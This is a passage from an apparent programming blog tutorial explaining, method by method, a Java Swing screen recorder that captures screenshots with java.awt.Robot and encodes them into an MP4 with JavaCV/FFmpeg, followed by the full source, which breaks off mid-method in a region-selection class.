&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) videoComplete variables tells if user has stopped the recording or not.&lt;br /&gt;
2) inputImageDir defines the input directory where screenshots will be stored which would be utilized by the video thread&lt;br /&gt;
3) inputImgExt denotes the extension of the image taken for screenshot.&lt;br /&gt;
4) outputVideo is the name of the recorded video file&lt;br /&gt;
5) counter is used for numbering the screenshots when stored in input directory.&lt;br /&gt;
6) recorder is used for starting and stopping the video recording&lt;br /&gt;
7) videoWidth, videoFrameRate etc define output video param&lt;br /&gt;
8) If user wants to record only a selected region then c1,c2,c3,c4 denotes the coordinate&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;getRecorder method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static FFmpegFrameRecorder getRecorder() throws Exception  
      {  
            if(recorder!=null)  
            {  
                 return recorder;  
            }  
            recorder = new FFmpegFrameRecorder(outputVideo,videoWidth,videoHeight);  
            try  
            {  
            recorder.setFrameRate(videoFrameRate);  
      recorder.setVideoCodec(videoCodec);  
      recorder.setVideoBitrate(videoBitRate);  
      recorder.setFormat(videoFormat);  
      recorder.setVideoQuality(videoQuality); // maximum quality  
      recorder.start();  
            }  
            catch(Exception e)  
            {  
                 JOptionPane.showMessageDialog(frame, &quot;Exception while starting the recorder object &quot;+e.getMessage());  
                 System.out.println(&quot;Exception while starting the recorder object &quot;+e.getMessage());  
                 throw new Exception(&quot;Unable to start recorder&quot;);  
            }  
      return recorder;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This method is used to get the Recorder object.&lt;br /&gt;
2) We create an object of&amp;nbsp;FFmpegFrameRecorder named &quot;Recorder&quot; and then set all its video parameters.&lt;br /&gt;
3) Lastly we start the recorder and then return the object.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;getRobot method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static Robot getRobot() throws Exception  
      {  
           Robot r=null;  
           try {  
                r = new Robot();  
                return r;  
           } catch (AWTException e) {  
                JOptionPane.showMessageDialog(frame, &quot;Issue while initiating Robot object &quot;+e.getMessage());  
                System.out.println(&quot;Issue while initiating Robot object &quot;+e.getMessage());  
                throw new Exception(&quot;Issue while initiating Robot object&quot;);  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) This method retrieves an object of Robot class which could be further utilized by remaining methods.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;main Method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void main(String[] args) {  
           try {  
                if(getRecorder()==null)  
                {  
                     System.out.println(&quot;Cannot make recorder object, Exiting program&quot;);  
                     System.exit(0);  
                }  
                if(getRobot()==null)  
                {  
                     System.out.println(&quot;Cannot make robot object, Exiting program&quot;);  
                     System.exit(0);  
                }  
                File scanFolder=new File(inputImageDir);  
                scanFolder.delete();  
                scanFolder.mkdirs();  
                createGUI();  
           } catch (Exception e) {  
                System.out.println(&quot;Exception in program &quot;+e.getMessage());  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We initialize the recorder and Robot object.&lt;br /&gt;
2) We create the input image folder.&lt;br /&gt;
3) Now we open up the GUI which will allow user to start/stop the recording.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;createGUI method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void createGUI()  
      {  
           frame=new JFrame(&quot;Screen Recorder&quot;);  
           JButton b1=new JButton(&quot;Select Region for Recording&quot;);  
           JButton b2=new JButton(&quot;Start Recording&quot;);  
           JButton b3=new JButton(&quot;Stop Recording&quot;);  
           JLabel l1=new JLabel(&quot;&amp;lt;html&amp;gt;&amp;lt;br/&amp;gt;If you dont select a region then full screen recording &amp;lt;br/&amp;gt; will be made when you click on Start Recording&amp;lt;/html&amp;gt;&quot;);  
           l1.setFont (l1.getFont ().deriveFont (20.0f));  
           b1.addActionListener(new ActionListener() {  
       @Override  
       public void actionPerformed(ActionEvent e) {  
            try {  
                 JOptionPane.showMessageDialog(frame, &quot;A new window will open. Use your mouse to select the region you like to record&quot;);  
                          new CropRegion().getImage();  
                     } catch (Exception e1) {  
                          // TODO Auto-generated catch block  
                          System.out.println(&quot;Issue while trying to call the module to crop region&quot;);  
                          e1.printStackTrace();  
                     }   
       }  
     });  
           b2.addActionListener(new ActionListener() {  
       @Override  
       public void actionPerformed(ActionEvent e) {  
            counter=0;  
         startRecording();  
       }  
     });  
           b3.addActionListener(new ActionListener() {  
       @Override  
       public void actionPerformed(ActionEvent e) {  
         stopRecording();  
         System.out.print(&quot;Exiting...&quot;);  
         System.exit(0);  
       }  
     });  
           frame.add(b1);  
           frame.add(b2);  
           frame.add(b3);  
           frame.add(l1);  
           frame.setLayout(new FlowLayout(0));  
           frame.setVisible(true);  
           frame.setSize(1000, 170);  
           frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We make a JFrame with the button for staring and stopping the recording. One more button is added for allowing user to record only a selected portion of screen&lt;br /&gt;
2) If user clicks to select only certain region then we call a class CropRegion method getImage which helps in retrieving the coordinate of the region selected by user and update the same in variable c1,c2,c3,c4&lt;br /&gt;
3) If user clicks on start recording then&amp;nbsp;startRecording method is called&lt;br /&gt;
4) If user clicks on stoprecording then&amp;nbsp;stopRecording method is called&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;startRecording method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void startRecording()  
      {  
           t1=new Thread()  
           {  
             public void run() {  
               try {  
                          takeScreenshot(getRobot());  
                     } catch (Exception e) {  
                          JOptionPane.showMessageDialog(frame, &quot;Cannot make robot object, Exiting program &quot;+e.getMessage());  
                          System.out.println(&quot;Cannot make robot object, Exiting program &quot;+e.getMessage());  
                          System.exit(0);  
                     }  
             }  
           };  
           t2=new Thread()  
           {  
             public void run() {  
               prepareVideo();  
             }  
           };  
           t1.start();  
           t2.start();  
           System.out.println(&quot;Started recording at &quot;+new Date());  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) Two threads are started in this module when user starts the recording&lt;br /&gt;
2) First thread calls the takeScreenshot module which keeps on taking screenshot of user screen and saves them on local disk.&lt;br /&gt;
3) Second thread calls the prepareVideo which monitors the screenshot created in step 2 and add them continuously on the video.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;takeScreenshot method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void takeScreenshot(Robot r)  
      {  
           Dimension size = Toolkit.getDefaultToolkit().getScreenSize();  
           Rectangle rec=new Rectangle(size);  
           if(isRegionSelected)  
           {  
                rec=new Rectangle(c1, c2, c3-c1, c4-c2);  
           }  
           while(!videoComplete)  
           {  
           counter++;  
           BufferedImage img = r.createScreenCapture(rec);  
           try {  
                ImageIO.write(img, inputImgExt, new File(inputImageDir+counter+&quot;.&quot;+inputImgExt));  
           } catch (IOException e) {  
                JOptionPane.showMessageDialog(frame, &quot;Got an issue while writing the screenshot to disk &quot;+e.getMessage());  
                System.out.println(&quot;Got an issue while writing the screenshot to disk &quot;+e.getMessage());  
                counter--;  
           }  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) If user has selected a region for recording then we set the rectangle with the coordinate value of c1,c2,c3,c4. Otherwise we set the rectangle to be full screen&lt;br /&gt;
2) Now we run a loop until videoComplete is false (remains false until user press stop recording.&lt;br /&gt;
3) Now we capture the region and write the same to the input image directory.&lt;br /&gt;
4) So when user starts the recording this method keeps on taking screenshot and saves them into disk.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;prepareVideo method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void prepareVideo()  
      {  
           File scanFolder=new File(inputImageDir);  
           while(!videoComplete)  
           {  
                File[] inputFiles=scanFolder.listFiles();  
                try {  
                     getRobot().delay(500);  
                } catch (Exception e) {  
                }  
                //for(int i=0;i&amp;lt;scanFolder.list().length;i++)  
                for(int i=0;i&amp;lt;inputFiles.length;i++)  
                {  
                     //imgProcessed++;  
                     addImageToVideo(inputFiles[i].getAbsolutePath());  
                     //String imgToAdd=scanFolder.getAbsolutePath()+File.separator+imgProcessed+&quot;.&quot;+inputImgExt;  
                     //addImageToVideo(imgToAdd);  
                     //new File(imgToAdd).delete();  
                     inputFiles[i].delete();  
                }  
           }  
           File[] inputFiles=scanFolder.listFiles();  
           for(int i=0;i&amp;lt;inputFiles.length;i++)  
           {  
                addImageToVideo(inputFiles[i].getAbsolutePath());  
                inputFiles[i].delete();  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We start a loop which will run until video complete is set true (done only when user press stop recording)&lt;br /&gt;
2) We keep on monitoring the input &amp;nbsp;Image directory&lt;br /&gt;
3) We traverse each file found in the input image directory and add those images to video using the addImageToVideo method. After the image has been added we delete the image&lt;br /&gt;
4) Using the loop in step1 we keep on repeating step 2 and 3 so that each image gets added to video. We added a delay of 500ms so that this module does not picks a half created image from the takeScreenshot module&lt;br /&gt;
5) When user press stop recording the loop gets broken. Now we finally traverse the input image directory and add the remaining images to video.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;addImageToVideo method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void addImageToVideo(String imgPath)  
      {  
           try {  
                getRecorder().record(getFrameConverter().convert(cvLoadImage(imgPath)));  
           } catch (Exception e) {  
                JOptionPane.showMessageDialog(frame, &quot;Exception while adding image to video &quot;+e.getMessage());  
                System.out.println(&quot;Exception while adding image to video &quot;+e.getMessage());  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1)&amp;nbsp;cvLoadImage is used to load the image passed as argument&lt;br /&gt;
2) We call the convert method to convert the image to frame which could be used by the recorder&lt;br /&gt;
3) We pass the frame obtained in step 2 and add the same in the recorder by calling the record method.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;getFrameConverter method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static OpenCVFrameConverter.ToIplImage getFrameConverter()  
      {  
           OpenCVFrameConverter.ToIplImage grabberConverter = new OpenCVFrameConverter.ToIplImage();  
           return grabberConverter;  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) We make an object of&amp;nbsp;OpenCVFrameConverter.ToIplImage named&amp;nbsp;grabberConverter and returns this object for other modules.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;stopRecording method:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt;      public static void stopRecording()  
      {  
           try {  
                videoComplete=true;  
                System.out.println(&quot;Stopping recording at &quot;+new Date());  
                t1.join();  
                System.out.println(&quot;Screenshot thread complete&quot;);  
                t2.join();  
                System.out.println(&quot;Video maker thread complete&quot;);  
                getRecorder().stop();  
                System.out.println(&quot;Recording has been saved successfully at &quot;+new File(outputVideo).getAbsolutePath());  
                JOptionPane.showMessageDialog(frame, &quot;Recording has been saved successfully at &quot;+new File(outputVideo).getAbsolutePath());  
           } catch (Exception e) {  
                System.out.println(&quot;Exception while stopping the recorder &quot;+e.getMessage());  
           }  
      }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;Explanation:&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
1) After user press the stop recording, we wait for both the threads to complete.&lt;br /&gt;
2) After thread completes, we stop the recorder and show the video path to user.&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;b&gt;Output:&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2sGdYr6cBZOgEW8usiI9aRQiEQPrXGpLhIS-1wv9QDXC5pX06Pvr5jJ_awMknujUSFMk__J2MuQQH_ndoPKmDOAYV-VZ62hKh6E7GF1VY1G44lH-J5WpKzhX0NOCBLIZjU0Ckk_bax4Wl/s1600/Capture.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;50&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2sGdYr6cBZOgEW8usiI9aRQiEQPrXGpLhIS-1wv9QDXC5pX06Pvr5jJ_awMknujUSFMk__J2MuQQH_ndoPKmDOAYV-VZ62hKh6E7GF1VY1G44lH-J5WpKzhX0NOCBLIZjU0Ckk_bax4Wl/s320/Capture.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; Started recording at Sun Dec 18 18:29:36 IST 2016  
 Stopping recording at Sun Dec 18 18:29:51 IST 2016  
 Screenshot thread complete  
 Video maker thread complete  
 Recording has been saved successfully at C:\Users\anjain\workspace\BrowserMobProxy\cooltrickshome\recording.mp4  
 Exiting...libpng error: PNG unsigned integer out of range  
 Output #0, mp4, to &#39;recording.mp4&#39;:  
   Stream #0:0: Video: mpeg4, yuv420p, 1920x1080, q=2-31, 9 kb/s, 3 tbn, 3 tbc  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Full Program:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;ScreenRecorder.java&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import static org.bytedeco.javacpp.opencv_imgcodecs.cvLoadImage;  
 import java.awt.AWTException;  
 import java.awt.Dimension;  
 import java.awt.FlowLayout;  
 import java.awt.Rectangle;  
 import java.awt.Robot;  
 import java.awt.Toolkit;  
 import java.awt.event.ActionEvent;  
 import java.awt.event.ActionListener;  
 import java.awt.image.BufferedImage;  
 import java.io.File;  
 import java.io.IOException;  
 import java.util.Date;  
 import javax.imageio.ImageIO;  
 import javax.swing.JButton;  
 import javax.swing.JFrame;  
 import javax.swing.JLabel;  
 import javax.swing.JOptionPane;  
 import org.bytedeco.javacpp.avcodec;  
 import org.bytedeco.javacv.FFmpegFrameRecorder;  
 import org.bytedeco.javacv.OpenCVFrameConverter;  
 public class ScreenRecorder{  
      public static boolean videoComplete=false;  
      public static String inputImageDir=&quot;inputImgFolder&quot;+File.separator;  
      public static String inputImgExt=&quot;png&quot;;  
      public static String outputVideo=&quot;recording.mp4&quot;;   
      public static int counter=0;  
      public static int imgProcessed=0;  
      public static FFmpegFrameRecorder recorder=null;  
      public static int videoWidth=1920;  
      public static int videoHeight=1080;  
      public static int videoFrameRate=3;  
      public static int videoQuality=0; // 0 is the max quality  
      public static int videoBitRate=9000;  
      public static String videoFormat=&quot;mp4&quot;;  
      public static int videoCodec=avcodec.AV_CODEC_ID_MPEG4;  
      public static Thread t1=null;  
      public static Thread t2=null;  
      public static JFrame frame=null;  
      public static boolean isRegionSelected=false;  
      public static int c1=0;  
      public static int c2=0;  
      public static int c3=0;  
      public static int c4=0;  
      public static void main(String[] args) {  
           try {  
                if(getRecorder()==null)  
                {  
                     System.out.println(&quot;Cannot make recorder object, Exiting program&quot;);  
                     System.exit(0);  
                }  
                if(getRobot()==null)  
                {  
                     System.out.println(&quot;Cannot make robot object, Exiting program&quot;);  
                     System.exit(0);  
                }  
                File scanFolder=new File(inputImageDir);  
                scanFolder.delete();  
                scanFolder.mkdirs();  
                createGUI();  
           } catch (Exception e) {  
                System.out.println(&quot;Exception in program &quot;+e.getMessage());  
           }  
      }  
      public static void createGUI()  
      {  
           frame=new JFrame(&quot;Screen Recorder&quot;);  
           JButton b1=new JButton(&quot;Select Region for Recording&quot;);  
           JButton b2=new JButton(&quot;Start Recording&quot;);  
           JButton b3=new JButton(&quot;Stop Recording&quot;);  
           JLabel l1=new JLabel(&quot;&amp;lt;html&amp;gt;&amp;lt;br/&amp;gt;If you dont select a region then full screen recording &amp;lt;br/&amp;gt; will be made when you click on Start Recording&amp;lt;/html&amp;gt;&quot;);  
           l1.setFont (l1.getFont ().deriveFont (20.0f));  
           b1.addActionListener(new ActionListener() {  
       @Override  
       public void actionPerformed(ActionEvent e) {  
            try {  
                 JOptionPane.showMessageDialog(frame, &quot;A new window will open. Use your mouse to select the region you like to record&quot;);  
                          new CropRegion().getImage();  
                     } catch (Exception e1) {  
                          // TODO Auto-generated catch block  
                          System.out.println(&quot;Issue while trying to call the module to crop region&quot;);  
                          e1.printStackTrace();  
                     }   
       }  
     });  
           b2.addActionListener(new ActionListener() {  
       @Override  
       public void actionPerformed(ActionEvent e) {  
            counter=0;  
         startRecording();  
       }  
     });  
           b3.addActionListener(new ActionListener() {  
       @Override  
       public void actionPerformed(ActionEvent e) {  
         stopRecording();  
         System.out.print(&quot;Exiting...&quot;);  
         System.exit(0);  
       }  
     });  
           frame.add(b1);  
           frame.add(b2);  
           frame.add(b3);  
           frame.add(l1);  
           frame.setLayout(new FlowLayout(0));  
           frame.setVisible(true);  
           frame.setSize(1000, 170);  
           frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);  
      }  
      public static void startRecording()  
      {  
           t1=new Thread()  
           {  
             public void run() {  
               try {  
                          takeScreenshot(getRobot());  
                     } catch (Exception e) {  
                          JOptionPane.showMessageDialog(frame, &quot;Cannot make robot object, Exiting program &quot;+e.getMessage());  
                          System.out.println(&quot;Cannot make robot object, Exiting program &quot;+e.getMessage());  
                          System.exit(0);  
                     }  
             }  
           };  
           t2=new Thread()  
           {  
             public void run() {  
               prepareVideo();  
             }  
           };  
           t1.start();  
           t2.start();  
           System.out.println(&quot;Started recording at &quot;+new Date());  
      }  
      public static Robot getRobot() throws Exception  
      {  
           Robot r=null;  
           try {  
                r = new Robot();  
                return r;  
           } catch (AWTException e) {  
                JOptionPane.showMessageDialog(frame, &quot;Issue while initiating Robot object &quot;+e.getMessage());  
                System.out.println(&quot;Issue while initiating Robot object &quot;+e.getMessage());  
                throw new Exception(&quot;Issue while initiating Robot object&quot;);  
           }  
      }  
      public static void takeScreenshot(Robot r)  
      {  
           Dimension size = Toolkit.getDefaultToolkit().getScreenSize();  
           Rectangle rec=new Rectangle(size);  
           if(isRegionSelected)  
           {  
                rec=new Rectangle(c1, c2, c3-c1, c4-c2);  
           }  
           while(!videoComplete)  
           {  
           counter++;  
           BufferedImage img = r.createScreenCapture(rec);  
           try {  
                ImageIO.write(img, inputImgExt, new File(inputImageDir+counter+&quot;.&quot;+inputImgExt));  
           } catch (IOException e) {  
                JOptionPane.showMessageDialog(frame, &quot;Got an issue while writing the screenshot to disk &quot;+e.getMessage());  
                System.out.println(&quot;Got an issue while writing the screenshot to disk &quot;+e.getMessage());  
                counter--;  
           }  
           }  
      }  
      public static void prepareVideo()  
      {  
           File scanFolder=new File(inputImageDir);  
           while(!videoComplete)  
           {  
                File[] inputFiles=scanFolder.listFiles();  
                try {  
                     getRobot().delay(500);  
                } catch (Exception e) {  
                }  
                //for(int i=0;i&amp;lt;scanFolder.list().length;i++)  
                for(int i=0;i&amp;lt;inputFiles.length;i++)  
                {  
                     //imgProcessed++;  
                     addImageToVideo(inputFiles[i].getAbsolutePath());  
                     //String imgToAdd=scanFolder.getAbsolutePath()+File.separator+imgProcessed+&quot;.&quot;+inputImgExt;  
                     //addImageToVideo(imgToAdd);  
                     //new File(imgToAdd).delete();  
                     inputFiles[i].delete();  
                }  
           }  
           File[] inputFiles=scanFolder.listFiles();  
           for(int i=0;i&amp;lt;inputFiles.length;i++)  
           {  
                addImageToVideo(inputFiles[i].getAbsolutePath());  
                inputFiles[i].delete();  
           }  
      }  
      public static FFmpegFrameRecorder getRecorder() throws Exception  
      {  
            if(recorder!=null)  
            {  
                 return recorder;  
            }  
            recorder = new FFmpegFrameRecorder(outputVideo,videoWidth,videoHeight);  
            try  
            {  
            recorder.setFrameRate(videoFrameRate);  
      recorder.setVideoCodec(videoCodec);  
      recorder.setVideoBitrate(videoBitRate);  
      recorder.setFormat(videoFormat);  
      recorder.setVideoQuality(videoQuality); // maximum quality  
      recorder.start();  
            }  
            catch(Exception e)  
            {  
                 JOptionPane.showMessageDialog(frame, &quot;Exception while starting the recorder object &quot;+e.getMessage());  
                 System.out.println(&quot;Exception while starting the recorder object &quot;+e.getMessage());  
                 throw new Exception(&quot;Unable to start recorder&quot;);  
            }  
      return recorder;  
      }  
      public static OpenCVFrameConverter.ToIplImage getFrameConverter()  
      {  
           OpenCVFrameConverter.ToIplImage grabberConverter = new OpenCVFrameConverter.ToIplImage();  
           return grabberConverter;  
      }  
      public static void addImageToVideo(String imgPath)  
      {  
           try {  
                getRecorder().record(getFrameConverter().convert(cvLoadImage(imgPath)));  
           } catch (Exception e) {  
                JOptionPane.showMessageDialog(frame, &quot;Exception while adding image to video &quot;+e.getMessage());  
                System.out.println(&quot;Exception while adding image to video &quot;+e.getMessage());  
           }  
      }  
      public static void stopRecording()  
      {  
           try {  
                videoComplete=true;  
                System.out.println(&quot;Stopping recording at &quot;+new Date());  
                t1.join();  
                System.out.println(&quot;Screenshot thread complete&quot;);  
                t2.join();  
                System.out.println(&quot;Video maker thread complete&quot;);  
                getRecorder().stop();  
                System.out.println(&quot;Recording has been saved successfully at &quot;+new File(outputVideo).getAbsolutePath());  
                JOptionPane.showMessageDialog(frame, &quot;Recording has been saved successfully at &quot;+new File(outputVideo).getAbsolutePath());  
           } catch (Exception e) {  
                System.out.println(&quot;Exception while stopping the recorder &quot;+e.getMessage());  
           }  
      }  
 }  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;CropRegion.java&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; package com.cooltrickshome;  
 import java.awt.AWTException;  
 import java.awt.Dimension;  
 import java.awt.FlowLayout;  
 import java.awt.Graphics;  
 import java.awt.Rectangle;  
 import java.awt.Robot;  
 import java.awt.Toolkit;  
 import java.awt.event.MouseEvent;  
 import java.awt.event.MouseListener;  
 import java.awt.event.MouseMotionListener;  
 import java.awt.image.BufferedImage;  
 import java.io.IOException;  
 import javax.swing.JFrame;  
 import javax.swing.JLabel;  
 import javax.swing.JOptionPane;  
 public class CropRegion implements MouseListener,  
           MouseMotionListener {  
      int drag_status = 0;  
      int c1;  
      int c2;  
      int c3;  
      int c4;  
      JFrame frame=null;  
      static int counter=0;  
      JLabel background=null;  
      public void getImage() throws AWTException, IOException, InterruptedException {  
           Dimension size = Toolkit.getDefaultToolkit().getScreenSize();  
        Robot robot = new Robot();  
        BufferedImage img = robot.createScreenCapture(new Rectangle(size));  
        ImagePanel panel = new ImagePanel(img);  
        frame=new JFrame();  
        frame.add(panel);  
        frame.setLocation(0, 0);  
        frame.setSize(size);  
        frame.setLayout(new FlowLayout());  
        frame.setUndecorated(true);  
        frame.setVisible(true);  
        frame.addMouseListener(this);  
        frame.addMouseMotionListener(this);  
        frame.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);  
      }  
      public void draggedScreen() throws Exception {  
           ScreenRecorder.c1=c1;  
           ScreenRecorder.c2=c2;  
           ScreenRecorder.c3=c3;  
           ScreenRecorder.c4=c4;  
           ScreenRecorder.isRegionSelected=true;  
           JOptionPane.showMessageDialog(frame, &quot;Region Selected.Please click on Start Recording button to record the selected region.&quot;);  
           frame.dispose();  
      }  
      public void mouseClicked(MouseEvent arg0) {  
      }  
      public void mouseEntered(MouseEvent arg0) {  
      }  
      public void mouseExited(MouseEvent arg0) {  
      }  
      public void mousePressed(MouseEvent arg0) {  
           paint();  
           this.c1 = arg0.getX();  
           this.c2 = arg0.getY();  
      }  
      public void mouseReleased(MouseEvent arg0) {  
           paint();  
           if (this.drag_status == 1) {  
